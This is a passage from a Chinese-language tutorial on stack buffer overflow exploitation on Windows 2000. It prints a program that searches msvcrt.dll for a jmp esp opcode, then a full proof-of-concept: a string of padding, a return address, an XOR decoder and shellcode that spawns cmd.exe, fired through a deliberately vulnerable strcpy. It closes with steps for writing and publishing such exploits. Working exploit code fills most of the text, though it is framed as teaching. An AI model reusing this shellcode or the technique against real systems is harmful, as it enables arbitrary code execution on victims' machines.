jmp esp指令地址是通过下面这个简单的程序找到的:
#include "stdafx.h"
#include "find.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// The one and only application object
CWinApp theApp;
using namespace std;
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
#if 0
return 0;
__asm jmp esp
#else
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("msvcrt");
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}
BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}
if(we_loaded_it) FreeLibrary(h);
#endif
}
return nRetCode;
}
在我的机器上找到的jmp esp代码在0x78024e02地址处,这样我们已经收集全了所有的信息:
(溢出点,jmp esp代码地址,经过编码的ShellCode和解码ShellCode的子程序)
Shellcode=溢出字串+jmp esp+解码子程序+code(编码后的)得到如下代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
char xcode[]="aaaaaaaaaabbdddd"
"\x02\x4e\x02\x78"//jmp esp 代码地址,不同机器不同动态连接库版本可能不一样
"\x8B\xC4\x83\xC0\x49\x80\x30\x99\x83\xC0"//解码子程序
"\x29\x80\x30\x99\x83\xC0\x2e\x80\x30\x99"
"\x55\x51\x52\x8B\xEC\x83\xEC\x20\x33\xC9"//开启cmd.exe的程序(code)
"\xC6\x45\xF5\x6D\xC6\x45\xF6\x73\xC6\x45"
"\xF7\x76\xC6\x45\xF8\x63\xC6\x45\xF9\x72"
"\xC6\x45\xFA\x74\xC6\x45\xFB\x2E\xC6\x45"
"\xFC\x64\xC6\x45\xFD\x6C\xC6\x45\xFE\x6C"
"\xC6\x45\xFF\x99\x8D\x45\xF5\x50\xB9\x54"
"\xA2\xE6\x77\xFF\xD1\x8B\xD0\xC6\x45\xF5"
"\x73\xC6\x45\xF6\x79\xC6\x45\xF7\x73\xC6"
"\x45\xF8\x74\xC6\x45\xF9\x65\xC6\x45\xFA"
"\x6D\xC6\x45\xFB\x99\x8D\x45\xF5\x50\x52"
"\xB9\xC1\x9A\xE6\x77\xFF\xD1\x8B\xD0\xC6"
"\x45\xF5\x63\xC6\x45\xF6\x6D\xC6\x45\xF7"
"\x64\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6"
"\x45\xFA\x78\xC6\x45\xFB\x65\xC6\x45\xFC"
"\x99\x8D\x45\xF5\x50\xFF\xD2\x83\xC4\x04"
"\x8B\xE5\x5A\x59\x5D";
void overflow(void)
{
char buf[10];
strcpy(buf,xcode);//模拟溢出漏洞
}//end overflow
int main(void)
{
LoadLibrary("msvcrt.dll");//模拟受攻击应用程序引入的msvcrt.dll(这里只是模拟,有些漏洞程序并不引入这个库)
overflow();
return 0;
}//end main
本程序在Windows 2000 Pro 5.00.2195 SP2下,由VC++ 6.0编译、调试、运行通过。
小结:
写一个溢出攻击测试程序需要以下步骤:
1、发现并确定漏洞程序的溢出点
2、找到jmp esp指令地址
3、编写并优化Shellcode程序代码(C或Asm),如果必要在Shellcode头部加上编/解码程序(如本文所举的例子)
4、调试、测试代码有效性,公布代码(如果不是很危险,否则可能会触犯法律)
关于:
程序设计是一门高度艺术化的技术,可现在很多人(程序员)却说"不需要会经典算法,不需要会数据结构,不需要会底层技术,我们做不了的可以让其它公司做,光使用VB.NET做开发,赚的钱就够我用的了..",我却要说这些人并不是真正的程序员,我非常崇拜XFocus的FlashSky以及 NSFocus的ipxodi、袁哥、小四哥等,他们中同样有很多人是非计算机专业的,可在我心目中他们才是高境界的程序员,我会努力的向他们学习,并不断的充实自己,希望在不久的将来我会成为中安网的FlashSky......!
最后:
进行溢出攻击要比本文描述的复杂很多(本文只是剖析溢出原理,在完全理解本文以后,你也可以试着练习练习),首先溢出点很难确定(计算),这需要你熟练使用反汇编工具和调试工具,并有大量的调试经验(看到某一段Asm代码马上就可以想像到它的C代码表示),还有ShellCode要写的不具有平台依赖性,也就是说它越通用越好 (当然你别指望为Windows写的ShellCode可以拿到Unix/Linux上使用,反之亦然),最好是将ShellCode里用到的函数全部都动态引入(用LoadLibrary和GetProcAddress函数,这也是我为什么在第二部分开启cmd.exe的程序里使用它们的原因,jmp esp代码地址同样是动态定位的)。
此外,ShellCode的编/解码子程序同样重要,编写的好坏直接决定代码是否被完整执行,同样有很深的东西可以学习和研究。
